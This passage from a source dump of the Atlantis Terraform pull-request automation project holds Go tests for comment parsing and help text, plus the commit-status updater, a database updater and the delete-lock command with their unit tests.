dir string is normalized. { "-d /", "", ".", false, "", "", }, { "-d /adir", "", "adir", false, "", "", }, { "-d .", "", ".", false, "", "", }, { "-d ./", "", ".", false, "", "", }, { "-d ./adir", "", "adir", false, "", "", }, { "-d \"dir with space\"", "", "dir with space", false, "", "", }, } for _, test := range cases { for _, cmdName := range []string{"plan", "apply", "import 'some[\"addr\"]' id", "state rm 'some[\"addr\"]'"} { comment := fmt.Sprintf("atlantis %s %s", cmdName, test.flags) t.Run(comment, func(t *testing.T) { r := commentParser.Parse(comment, models.Github) Assert(t, r.CommentResponse == "", "CommentResponse should have been empty but was %q for comment %q", r.CommentResponse, comment) Assert(t, test.expDir == r.Command.RepoRelDir, "exp dir to equal %q but was %q for comment %q", test.expDir, r.Command.RepoRelDir, comment) Assert(t, test.expWorkspace == r.Command.Workspace, "exp workspace to equal %q but was %q for comment %q", test.expWorkspace, r.Command.Workspace, comment) Assert(t, test.expVerbose == r.Command.Verbose, "exp verbose to equal %v but was %v for comment %q", test.expVerbose, r.Command.Verbose, comment) actExtraArgs := strings.Join(r.Command.Flags, " ") if cmdName == "plan" { Assert(t, r.Command.Name == command.Plan, "did not parse comment %q as plan command", comment) Assert(t, test.expExtraArgs == actExtraArgs, "exp extra args to equal %v but got %v for comment %q", test.expExtraArgs, actExtraArgs, comment) } if cmdName == "apply" { Assert(t, r.Command.Name == command.Apply, "did not parse comment %q as apply command", comment) Assert(t, test.expExtraArgs == actExtraArgs, "exp extra args to equal %v but got %v for comment %q", test.expExtraArgs, actExtraArgs, comment) } if cmdName == "approve_policies" { Assert(t, r.Command.Name == command.ApprovePolicies, "did not parse comment %q as approve_policies command", comment) Assert(t, test.expExtraArgs == actExtraArgs, "exp extra args to equal %v but got %v for comment %q", test.expExtraArgs, actExtraArgs, comment) } if strings.HasPrefix(cmdName, "import") { expExtraArgs := "some[\"addr\"] id" // import use default args with `some["addr"] id` if test.expExtraArgs != "" { expExtraArgs = fmt.Sprintf("%s %s", test.expExtraArgs, expExtraArgs) } Assert(t, r.Command.Name == command.Import, "did not parse comment %q as import command", comment) Assert(t, expExtraArgs == actExtraArgs, "exp extra args to equal %v but got %v for comment %q", expExtraArgs, actExtraArgs, comment) } if strings.HasPrefix(cmdName, "state rm") { expExtraArgs := "some[\"addr\"]" // state rm use default args with `some["addr"]` if test.expExtraArgs != "" { expExtraArgs = fmt.Sprintf("%s %s", test.expExtraArgs, expExtraArgs) } Assert(t, r.Command.Name == command.State, "did not parse comment %q as state command", comment) Assert(t, r.Command.SubName == "rm", "did not parse comment %q as state rm subcommand", comment) Assert(t, expExtraArgs == actExtraArgs, "exp extra args to equal %v but got %v for comment %q", expExtraArgs, actExtraArgs, comment) } }) } } } func TestBuildPlanApplyVersionComment(t *testing.T) { cases := []struct { repoRelDir string workspace string project string autoMergeDisabled bool autoMergeMethod string commentArgs []string expPlanFlags string expApplyFlags string expVersionFlags string }{ { repoRelDir: ".", workspace: "default", project: "", commentArgs: nil, expPlanFlags: "-d .", expApplyFlags: "-d .", expVersionFlags: "-d .", }, { repoRelDir: "dir", workspace: "default", project: "", commentArgs: nil, expPlanFlags: "-d dir", expApplyFlags: "-d dir", expVersionFlags: "-d dir", }, { repoRelDir: ".", workspace: "workspace", project: "", commentArgs: nil, expPlanFlags: "-w workspace", expApplyFlags: "-w workspace", expVersionFlags: "-w workspace", }, { repoRelDir: "dir", workspace: "workspace", project: "", commentArgs: nil, expPlanFlags: "-d dir -w workspace", expApplyFlags: "-d dir -w workspace", expVersionFlags: "-d dir -w workspace", }, { repoRelDir: ".", workspace: "default", project: "project", commentArgs: nil, expPlanFlags: "-p project", expApplyFlags: "-p project", expVersionFlags: "-p project", }, { repoRelDir: "dir", workspace: "workspace", project: "project", commentArgs: nil, expPlanFlags: "-p project", expApplyFlags: "-p project", expVersionFlags: "-p project", }, { repoRelDir: ".", workspace: "default", project: "", commentArgs: []string{`"arg1"`, `"arg2"`}, expPlanFlags: "-d . -- arg1 arg2", expApplyFlags: "-d .", expVersionFlags: "-d .", }, { repoRelDir: "dir", workspace: "workspace", project: "", commentArgs: []string{`"arg1"`, `"arg2"`, `arg3`}, expPlanFlags: "-d dir -w workspace -- arg1 arg2 arg3", expApplyFlags: "-d dir -w workspace", expVersionFlags: "-d dir -w workspace", }, { repoRelDir: "dir with spaces", workspace: "default", project: "", expPlanFlags: "-d \"dir with spaces\"", expApplyFlags: "-d \"dir with spaces\"", expVersionFlags: "-d \"dir with spaces\"", }, { repoRelDir: "dir", workspace: "workspace", project: "", autoMergeDisabled: true, commentArgs: []string{`"arg1"`, `"arg2"`, `arg3`}, expPlanFlags: "-d dir -w workspace -- arg1 arg2 arg3", expApplyFlags: "-d dir -w workspace --auto-merge-disabled", expVersionFlags: "-d dir -w workspace", }, { repoRelDir: "dir", workspace: "workspace", project: "", autoMergeMethod: "squash", commentArgs: []string{`"arg1"`, `"arg2"`, `arg3`}, expPlanFlags: "-d dir -w workspace -- arg1 arg2 arg3", expApplyFlags: "-d dir -w workspace --auto-merge-method squash", expVersionFlags: "-d dir -w workspace", }, } for _, c := range cases { t.Run(c.expPlanFlags, func(t *testing.T) { for _, cmd := range []command.Name{command.Plan, command.Apply, command.Version} { switch cmd { case command.Plan: actComment := commentParser.BuildPlanComment(c.repoRelDir, c.workspace, c.project, c.commentArgs) Equals(t, fmt.Sprintf("atlantis plan %s", c.expPlanFlags), actComment) case command.Apply: actComment := commentParser.BuildApplyComment(c.repoRelDir, c.workspace, c.project, c.autoMergeDisabled, c.autoMergeMethod) Equals(t, fmt.Sprintf("atlantis apply %s", c.expApplyFlags), actComment) } } }) } } func TestCommentParser_HelpComment(t *testing.T) { cases := []struct { name string allowCommands []command.Name expectResult string }{ { name: "all commands allowed", allowCommands: command.AllCommentCommands, expectResult: "```cmake\n" + `atlantis Terraform Pull Request Automation Usage: atlantis [options] -- [terraform options] Examples: # show atlantis help atlantis help # run plan in the root directory passing the -target flag to terraform atlantis plan -d . -- -target=resource # apply all unapplied plans from this pull request atlantis apply # apply the plan for the root directory and staging workspace atlantis apply -d . -w staging Commands: plan Runs 'terraform plan' for the changes in this pull request. To plan a specific project, use the -d, -w and -p flags. apply Runs 'terraform apply' on all unapplied plans from this pull request. To only apply a specific plan, use the -d, -w and -p flags. unlock Removes all atlantis locks and discards all plans for this PR. To unlock a specific plan you can use the Atlantis UI. approve_policies Approves all current policy checking failures for the PR. version Print the output of 'terraform version' import ADDRESS ID Runs 'terraform import' for the passed address resource. To import a specific project, use the -d, -w and -p flags. state rm ADDRESS... Runs 'terraform state rm' for the passed address resource. To remove a specific project resource, use the -d, -w and -p flags. help View help. Flags: -h, --help help for atlantis Use "atlantis [command] --help" for more information about a command.` + "\n```", }, { name: "all commands disallowed", allowCommands: []command.Name{}, expectResult: "```cmake\n" + `atlantis Terraform Pull Request Automation Usage: atlantis [options] -- [terraform options] Examples: # show atlantis help atlantis help Commands: help View help. Flags: -h, --help help for atlantis Use "atlantis [command] --help" for more information about a command.` + "\n```", }, { name: "partial commands allowed", allowCommands: []command.Name{ command.Apply, command.Unlock, }, expectResult: "```cmake\n" + `atlantis Terraform Pull Request Automation Usage: atlantis [options] -- [terraform options] Examples: # show atlantis help atlantis help # apply all unapplied plans from this pull request atlantis apply # apply the plan for the root directory and staging workspace atlantis apply -d . -w staging Commands: apply Runs 'terraform apply' on all unapplied plans from this pull request. To only apply a specific plan, use the -d, -w and -p flags. unlock Removes all atlantis locks and discards all plans for this PR. To unlock a specific plan you can use the Atlantis UI. help View help. Flags: -h, --help help for atlantis Use "atlantis [command] --help" for more information about a command.` + "\n```", }, } for _, c := range cases { t.Run(c.name, func(t *testing.T) { commentParser := events.CommentParser{ ExecutableName: "atlantis", AllowCommands: c.allowCommands, } Equals(t, commentParser.HelpComment(), c.expectResult) }) } } func TestParse_VCSUsername(t *testing.T) { cp := events.CommentParser{ GithubUser: "gh", GitlabUser: "gl", BitbucketUser: "bb", AzureDevopsUser: "ad", ExecutableName: "atlantis", } cases := []struct { vcs models.VCSHostType user string }{ { vcs: models.Github, user: "gh", }, { vcs: models.Gitlab, user: "gl", }, { vcs: models.BitbucketServer, user: "bb", }, { vcs: models.BitbucketCloud, user: "bb", }, { vcs: models.AzureDevops, user: "ad", }, } for _, c := range cases { t.Run(c.vcs.String(), func(t *testing.T) { r := cp.Parse(fmt.Sprintf("@%s %s", c.user, "help"), c.vcs) Equals(t, cp.HelpComment(), r.CommentResponse) }) } } var PlanUsage = `Usage of plan: -d, --dir string Which directory to run plan in relative to root of repo, ex. 'child/dir'. -p, --project string Which project to run plan for. Refers to the name of the project configured in a repo config file. Cannot be used at same time as workspace or dir flags. --verbose Append Atlantis log to comment. -w, --workspace string Switch to this Terraform workspace before planning. ` var ApplyUsage = `Usage of apply: --auto-merge-disabled Disable automerge after apply. --auto-merge-method string Specifies the merge method for the VCS if automerge is enabled. (Currently only implemented for GitHub) -d, --dir string Apply the plan for this directory, relative to root of repo, ex. 'child/dir'. -p, --project string Apply the plan for this project. Refers to the name of the project configured in a repo config file. Cannot be used at same time as workspace or dir flags. --verbose Append Atlantis log to comment. -w, --workspace string Apply the plan for this Terraform workspace. ` var ApprovePolicyUsage = `Usage of approve_policies: --clear-policy-approval Clear any existing policy approvals. -d, --dir string Approve policies for this directory, relative to root of repo, ex. 'child/dir'. --policy-set string Approve policies for this project. Refers to the name of the project configured in a repo config file. Cannot be used at same time as workspace or dir flags. -p, --project string Approve policies for this project. Refers to the name of the project configured in a repo config file. Cannot be used at same time as workspace or dir flags. --verbose Append Atlantis log to comment. -w, --workspace string Approve policies for this Terraform workspace. ` var UnlockUsage = "`Usage of unlock:`\n\n ```cmake\n" + `atlantis unlock Unlocks the entire PR and discards all plans in this PR. Arguments or flags are not supported at the moment. If you need to unlock a specific project please use the atlantis UI.` + "\n```" var ImportUsage = `Usage of import ADDRESS ID: -d, --dir string Which directory to run import in relative to root of repo, ex. 'child/dir'. -p, --project string Which project to run import for. Refers to the name of the project configured in a repo config file. Cannot be used at same time as workspace or dir flags. --verbose Append Atlantis log to comment. -w, --workspace string Switch to this Terraform workspace before importing. ` ================================================ FILE: server/events/commit_status_updater.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events import ( "fmt" "github.com/runatlantis/atlantis/server/core/runtime" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" "github.com/runatlantis/atlantis/server/logging" "golang.org/x/text/cases" "golang.org/x/text/language" ) //go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_commit_status_updater.go CommitStatusUpdater // CommitStatusUpdater updates the status of a commit with the VCS host. We set // the status to signify whether the plan/apply succeeds. type CommitStatusUpdater interface { // UpdateCombined updates the combined status of the head commit of pull. // A combined status represents all the projects modified in the pull. UpdateCombined(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name) error // UpdateCombinedCount updates the combined status to reflect the // numSuccess out of numTotal. UpdateCombinedCount(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name, numSuccess int, numTotal int) error UpdatePreWorkflowHook(logger logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) error UpdatePostWorkflowHook(logger logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) error } // DefaultCommitStatusUpdater implements CommitStatusUpdater. type DefaultCommitStatusUpdater struct { Client vcs.Client // StatusName is the name used to identify Atlantis when creating PR statuses. StatusName string } // ensure DefaultCommitStatusUpdater implements runtime.StatusUpdater interface // cause runtime.StatusUpdater is extracted for resolving circular dependency var _ runtime.StatusUpdater = (*DefaultCommitStatusUpdater)(nil) func (d *DefaultCommitStatusUpdater) UpdateCombined(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name) error { src := fmt.Sprintf("%s/%s", d.StatusName, cmdName.String()) var descripWords string switch status { case models.PendingCommitStatus: descripWords = genProjectStatusDescription(cmdName.String(), "in progress...") case models.FailedCommitStatus: descripWords = genProjectStatusDescription(cmdName.String(), "failed.") case models.SuccessCommitStatus: descripWords = genProjectStatusDescription(cmdName.String(), "succeeded.") } return d.Client.UpdateStatus(logger, repo, pull, status, src, descripWords, "") } func (d *DefaultCommitStatusUpdater) UpdateCombinedCount(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name, numSuccess int, numTotal int) error { src := fmt.Sprintf("%s/%s", d.StatusName, cmdName.String()) cmdVerb := "unknown" switch cmdName { case command.Plan: cmdVerb = "planned" case command.PolicyCheck: cmdVerb = "policies checked" case command.Apply: cmdVerb = "applied" } return d.Client.UpdateStatus(logger, repo, pull, status, src, fmt.Sprintf("%d/%d projects %s successfully.", numSuccess, numTotal, cmdVerb), "") } func (d *DefaultCommitStatusUpdater) UpdateProject(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, url string, result *command.ProjectCommandOutput) error { projectID := ctx.ProjectName if projectID == "" { projectID = fmt.Sprintf("%s/%s", ctx.RepoRelDir, ctx.Workspace) } src := fmt.Sprintf("%s/%s: %s", d.StatusName, cmdName.String(), projectID) var descripWords string switch status { case models.PendingCommitStatus: descripWords = genProjectStatusDescription(cmdName.String(), "in progress...") case models.FailedCommitStatus: descripWords = genProjectStatusDescription(cmdName.String(), "failed.") case models.SuccessCommitStatus: if result != nil && result.PlanSuccess != nil { descripWords = result.PlanSuccess.DiffSummary() } else { descripWords = genProjectStatusDescription(cmdName.String(), "succeeded.") } } return d.Client.UpdateStatus(ctx.Log, ctx.BaseRepo, ctx.Pull, status, src, descripWords, url) } func genProjectStatusDescription(cmdName, description string) string { return fmt.Sprintf("%s %s", cases.Title(language.English).String(cmdName), description) } func (d *DefaultCommitStatusUpdater) UpdatePreWorkflowHook(log logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) error { return d.updateWorkflowHook(log, pull, status, hookDescription, runtimeDescription, "pre_workflow_hook", url) } func (d *DefaultCommitStatusUpdater) UpdatePostWorkflowHook(log logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) error { return d.updateWorkflowHook(log, pull, status, hookDescription, runtimeDescription, "post_workflow_hook", url) } func (d *DefaultCommitStatusUpdater) updateWorkflowHook(log logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, workflowType string, url string) error { src := fmt.Sprintf("%s/%s: %s", d.StatusName, workflowType, hookDescription) var descripWords string if runtimeDescription != "" { descripWords = runtimeDescription } else { switch status { case models.PendingCommitStatus: descripWords = "in progress..." case models.FailedCommitStatus: descripWords = "failed." case models.SuccessCommitStatus: descripWords = "succeeded." } } return d.Client.UpdateStatus(log, pull.BaseRepo, pull, status, src, descripWords, url) } ================================================ FILE: server/events/commit_status_updater_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events_test import ( "fmt" "testing" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs/mocks" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func TestUpdateCombined(t *testing.T) { logger := logging.NewNoopLogger(t) cases := []struct { status models.CommitStatus command command.Name expDescrip string }{ { status: models.PendingCommitStatus, command: command.Plan, expDescrip: "Plan in progress...", }, { status: models.FailedCommitStatus, command: command.Plan, expDescrip: "Plan failed.", }, { status: models.SuccessCommitStatus, command: command.Plan, expDescrip: "Plan succeeded.", }, { status: models.PendingCommitStatus, command: command.Apply, expDescrip: "Apply in progress...", }, { status: models.FailedCommitStatus, command: command.Apply, expDescrip: "Apply failed.", }, { status: models.SuccessCommitStatus, command: command.Apply, expDescrip: "Apply succeeded.", }, } for _, c := range cases { t.Run(c.expDescrip, func(t *testing.T) { RegisterMockTestingT(t) client := mocks.NewMockClient() s := events.DefaultCommitStatusUpdater{Client: client, StatusName: "atlantis"} err := s.UpdateCombined(logger, models.Repo{}, models.PullRequest{}, c.status, c.command) Ok(t, err) expSrc := fmt.Sprintf("atlantis/%s", c.command) client.VerifyWasCalledOnce().UpdateStatus(logger, models.Repo{}, models.PullRequest{}, c.status, expSrc, c.expDescrip, "") }) } } func TestUpdateCombinedCount(t *testing.T) { logger := logging.NewNoopLogger(t) cases := []struct { status models.CommitStatus command command.Name numSuccess int numTotal int expDescrip string }{ { status: models.PendingCommitStatus, command: command.Plan, numSuccess: 0, numTotal: 2, expDescrip: "0/2 projects planned successfully.", }, { status: models.FailedCommitStatus, command: command.Plan, numSuccess: 1, numTotal: 2, expDescrip: "1/2 projects planned successfully.", }, { status: models.SuccessCommitStatus, command: command.Plan, numSuccess: 2, numTotal: 2, expDescrip: "2/2 projects planned successfully.", }, { status: models.FailedCommitStatus, command: command.Apply, numSuccess: 0, numTotal: 2, expDescrip: "0/2 projects applied successfully.", }, { status: models.PendingCommitStatus, command: command.Apply, numSuccess: 1, numTotal: 2, expDescrip: "1/2 projects applied successfully.", }, { status: models.SuccessCommitStatus, command: command.Apply, numSuccess: 2, numTotal: 2, expDescrip: "2/2 projects applied successfully.", }, } for _, c := range cases { t.Run(c.expDescrip, func(t *testing.T) { RegisterMockTestingT(t) client := mocks.NewMockClient() s := events.DefaultCommitStatusUpdater{Client: client, StatusName: "atlantis-test"} err := s.UpdateCombinedCount(logger, models.Repo{}, models.PullRequest{}, c.status, c.command, c.numSuccess, c.numTotal) Ok(t, err) expSrc := fmt.Sprintf("%s/%s", s.StatusName, c.command) client.VerifyWasCalledOnce().UpdateStatus(logger, models.Repo{}, models.PullRequest{}, c.status, expSrc, c.expDescrip, "") }) } } // Test that it sets the "source" properly depending on if the project is // named or not. func TestDefaultCommitStatusUpdater_UpdateProjectSrc(t *testing.T) { RegisterMockTestingT(t) cases := []struct { projectName string repoRelDir string workspace string expSrc string }{ { projectName: "name", repoRelDir: ".", workspace: "default", expSrc: "atlantis/plan: name", }, { projectName: "", repoRelDir: "dir1/dir2", workspace: "workspace", expSrc: "atlantis/plan: dir1/dir2/workspace", }, } for _, c := range cases { t.Run(c.expSrc, func(t *testing.T) { client := mocks.NewMockClient() s := events.DefaultCommitStatusUpdater{Client: client, StatusName: "atlantis"} err := s.UpdateProject(command.ProjectContext{ ProjectName: c.projectName, RepoRelDir: c.repoRelDir, Workspace: c.workspace, }, command.Plan, models.PendingCommitStatus, "url", nil) Ok(t, err) client.VerifyWasCalledOnce().UpdateStatus( Any[logging.SimpleLogging](), Eq(models.Repo{}), Eq(models.PullRequest{}), Eq(models.PendingCommitStatus), Eq(c.expSrc), Eq("Plan in progress..."), Eq("url")) }) } } // Test that it uses the right words in the description. func TestDefaultCommitStatusUpdater_UpdateProject(t *testing.T) { RegisterMockTestingT(t) cases := []struct { status models.CommitStatus cmd command.Name result *command.ProjectCommandOutput expDescrip string }{ { status: models.PendingCommitStatus, cmd: command.Plan, expDescrip: "Plan in progress...", }, { status: models.FailedCommitStatus, cmd: command.Plan, expDescrip: "Plan failed.", }, { status: models.SuccessCommitStatus, cmd: command.Plan, result: &command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "aaa\nNote: Objects have changed outside of Terraform\nbbb\nPlan: 1 to add, 2 to change, 3 to destroy.\nbbb", }, }, expDescrip: "Plan: 1 to add, 2 to change, 3 to destroy.", }, { status: models.PendingCommitStatus, cmd: command.Apply, expDescrip: "Apply in progress...", }, { status: models.FailedCommitStatus, cmd: command.Apply, expDescrip: "Apply failed.", }, { status: models.SuccessCommitStatus, cmd: command.Apply, result: &command.ProjectCommandOutput{ ApplySuccess: "success", }, expDescrip: "Apply succeeded.", }, } for _, c := range cases { t.Run(c.expDescrip, func(t *testing.T) { client := mocks.NewMockClient() s := events.DefaultCommitStatusUpdater{Client: client, StatusName: "atlantis"} err := s.UpdateProject(command.ProjectContext{ RepoRelDir: ".", Workspace: "default", }, c.cmd, c.status, "url", c.result) Ok(t, err) client.VerifyWasCalledOnce().UpdateStatus(Any[logging.SimpleLogging](), Eq(models.Repo{}), Eq(models.PullRequest{}), Eq(c.status), Eq(fmt.Sprintf("atlantis/%s: ./default", c.cmd.String())), Eq(c.expDescrip), Eq("url")) }) } } // Test that we can set the status name. func TestDefaultCommitStatusUpdater_UpdateProjectCustomStatusName(t *testing.T) { RegisterMockTestingT(t) client := mocks.NewMockClient() s := events.DefaultCommitStatusUpdater{Client: client, StatusName: "custom"} err := s.UpdateProject(command.ProjectContext{ RepoRelDir: ".", Workspace: "default", }, command.Apply, models.SuccessCommitStatus, "url", nil) Ok(t, err) client.VerifyWasCalledOnce().UpdateStatus(Any[logging.SimpleLogging](), Eq(models.Repo{}), Eq(models.PullRequest{}), Eq(models.SuccessCommitStatus), Eq("custom/apply: ./default"), Eq("Apply succeeded."), Eq("url")) } ================================================ FILE: server/events/db_updater.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "github.com/runatlantis/atlantis/server/core/db" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" ) type DBUpdater struct { Database db.Database } func (c *DBUpdater) updateDB(ctx *command.Context, pull models.PullRequest, results []command.ProjectResult) (models.PullStatus, error) { // Filter out results that errored due to the directory not existing. We // don't store these in the database because they would never be "apply-able" // and so the pull request would always have errors. var filtered []command.ProjectResult for _, r := range results { if _, ok := r.Error.(DirNotExistErr); ok { ctx.Log.Debug("ignoring error result from project at dir %q workspace %q because it is dir not exist error", r.RepoRelDir, r.Workspace) continue } filtered = append(filtered, r) } ctx.Log.Debug("updating DB with pull results") return c.Database.UpdatePullWithResults(pull, filtered) } ================================================ FILE: server/events/delete_lock_command.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "github.com/runatlantis/atlantis/server/core/db" "github.com/runatlantis/atlantis/server/core/locking" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" ) //go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_delete_lock_command.go DeleteLockCommand // DeleteLockCommand is the first step after a command request has been parsed. type DeleteLockCommand interface { DeleteLock(logger logging.SimpleLogging, id string) (*models.ProjectLock, error) DeleteLocksByPull(logger logging.SimpleLogging, repoFullName string, pullNum int) (int, error) } // DefaultDeleteLockCommand deletes a specific lock after a request from the LocksController. type DefaultDeleteLockCommand struct { Locker locking.Locker WorkingDir WorkingDir WorkingDirLocker WorkingDirLocker Database db.Database } // DeleteLock handles deleting the lock at id func (l *DefaultDeleteLockCommand) DeleteLock(logger logging.SimpleLogging, id string) (*models.ProjectLock, error) { lock, err := l.Locker.Unlock(id) if err != nil { return nil, err } if lock == nil { return nil, nil } removeErr := l.WorkingDir.DeletePlan(logger, lock.Pull.BaseRepo, lock.Pull, lock.Workspace, lock.Project.Path, lock.Project.ProjectName) if removeErr != nil { logger.Warn("Failed to delete plan: %s", removeErr) return nil, removeErr } return lock, nil } // DeleteLocksByPull handles deleting all locks for the pull request func (l *DefaultDeleteLockCommand) DeleteLocksByPull(logger logging.SimpleLogging, repoFullName string, pullNum int) (int, error) { locks, err := l.Locker.UnlockByPull(repoFullName, pullNum) numLocks := len(locks) if err != nil { return numLocks, err } if numLocks == 0 { logger.Debug("No locks found for repo '%v', pull request: %v", repoFullName, pullNum) return numLocks, nil } for i := range numLocks { lock := locks[i] err := l.WorkingDir.DeletePlan(logger, lock.Pull.BaseRepo, lock.Pull, lock.Workspace, lock.Project.Path, lock.Project.ProjectName) if err != nil { logger.Warn("Failed to delete plan: %s", err) return numLocks, err } } return numLocks, nil } ================================================ FILE: server/events/delete_lock_command_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events_test import ( "errors" "testing" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/core/boltdb" lockmocks "github.com/runatlantis/atlantis/server/core/locking/mocks" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" "go.uber.org/mock/gomock" ) func TestDeleteLock_LockerErr(t *testing.T) { t.Log("If there is an error retrieving the lock, we return the error") logger := logging.NewNoopLogger(t) ctrl := gomock.NewController(t) l := lockmocks.NewMockLocker(ctrl) l.EXPECT().Unlock("id").Return(nil, errors.New("err")) dlc := events.DefaultDeleteLockCommand{Locker: l} _, err := dlc.DeleteLock(logger, "id") ErrEquals(t, "err", err) } func TestDeleteLock_None(t *testing.T) { t.Log("If there is no lock at that ID we return nil") logger := logging.NewNoopLogger(t) ctrl := gomock.NewController(t) l := lockmocks.NewMockLocker(ctrl) l.EXPECT().Unlock("id").Return(nil, nil) dlc := events.DefaultDeleteLockCommand{Locker: l} lock, err := dlc.DeleteLock(logger, "id") Ok(t, err) Assert(t, lock == nil, "lock was not nil") } func TestDeleteLock_Success(t *testing.T) { t.Log("Delete lock deletes successfully the plan file") logger := logging.NewNoopLogger(t) RegisterMockTestingT(t) // needed for pegomock WorkingDir mock workspace := "workspace" path := "path" projectName := "" pull := models.PullRequest{ BaseRepo: models.Repo{FullName: "owner/repo"}, } ctrl := gomock.NewController(t) l := lockmocks.NewMockLocker(ctrl) l.EXPECT().Unlock("id").Return(&models.ProjectLock{ Pull: pull, Workspace: workspace, Project: models.Project{ Path: path, RepoFullName: pull.BaseRepo.FullName, }, }, nil) workingDir := events.NewMockWorkingDir() workingDirLocker := events.NewDefaultWorkingDirLocker() tmp := t.TempDir() db, err := boltdb.New(tmp) t.Cleanup(func() { db.Close() }) Ok(t, err) dlc := events.DefaultDeleteLockCommand{ Locker: l, Database: db, WorkingDirLocker: workingDirLocker, WorkingDir: workingDir, } lock, err := dlc.DeleteLock(logger, "id") Ok(t, err) Assert(t, lock != nil, "lock was nil") workingDir.VerifyWasCalledOnce().DeletePlan(Any[logging.SimpleLogging](), Eq(pull.BaseRepo), Eq(pull), Eq(workspace), Eq(path), Eq(projectName)) } func TestDeleteLocksByPull_LockerErr(t *testing.T) { t.Log("If there is an error retrieving the lock, returned a failed status") logger := logging.NewNoopLogger(t) repoName := "reponame" pullNum := 2 RegisterMockTestingT(t) // needed for pegomock WorkingDir mock ctrl := gomock.NewController(t) l := lockmocks.NewMockLocker(ctrl) workingDir := events.NewMockWorkingDir() l.EXPECT().UnlockByPull(repoName, pullNum).Return(nil, errors.New("err")) dlc := events.DefaultDeleteLockCommand{ Locker: l, WorkingDir: workingDir, } _, err := dlc.DeleteLocksByPull(logger, repoName, pullNum) ErrEquals(t, "err", err) workingDir.VerifyWasCalled(Never()).DeletePlan(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[string](), Any[string](), Any[string]()) } func TestDeleteLocksByPull_None(t *testing.T) { t.Log("If there is no lock at that ID there is no error") logger := logging.NewNoopLogger(t) repoName := "reponame" pullNum := 2 RegisterMockTestingT(t) // needed for pegomock WorkingDir mock ctrl := gomock.NewController(t) l := lockmocks.NewMockLocker(ctrl) workingDir := events.NewMockWorkingDir() l.EXPECT().UnlockByPull(repoName, pullNum).Return([]models.ProjectLock{}, nil) dlc := events.DefaultDeleteLockCommand{ Locker: l, WorkingDir: workingDir, } _, err := dlc.DeleteLocksByPull(logger, repoName, pullNum) Ok(t, err) workingDir.VerifyWasCalled(Never()).DeletePlan(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[string](), Any[string](), Any[string]()) } func TestDeleteLocksByPull_SingleSuccess(t *testing.T) { t.Log("If a single lock is successfully deleted") logger := logging.NewNoopLogger(t) repoName := "reponame" pullNum := 2 path := "." workspace := "default" projectName := "projectname" RegisterMockTestingT(t) // needed for pegomock WorkingDir mock ctrl := gomock.NewController(t) l := lockmocks.NewMockLocker(ctrl) workingDir := events.NewMockWorkingDir() pull := models.PullRequest{ BaseRepo: models.Repo{FullName: repoName}, Num: pullNum, } l.EXPECT().UnlockByPull(repoName, pullNum).Return([]models.ProjectLock{ { Pull: pull, Workspace: workspace, Project: models.Project{ Path: path, RepoFullName: pull.BaseRepo.FullName, ProjectName: projectName, }, }, }, nil, ) dlc := events.DefaultDeleteLockCommand{ Locker: l, WorkingDir: workingDir, } _, err := dlc.DeleteLocksByPull(logger, repoName, pullNum) Ok(t, err) workingDir.VerifyWasCalled(Once()).DeletePlan(Any[logging.SimpleLogging](), Eq(pull.BaseRepo), Eq(pull), Eq(workspace), Eq(path), Eq(projectName)) } func TestDeleteLocksByPull_MultipleSuccess(t *testing.T) { t.Log("If multiple locks are successfully deleted") logger := logging.NewNoopLogger(t) repoName := "reponame" pullNum := 2 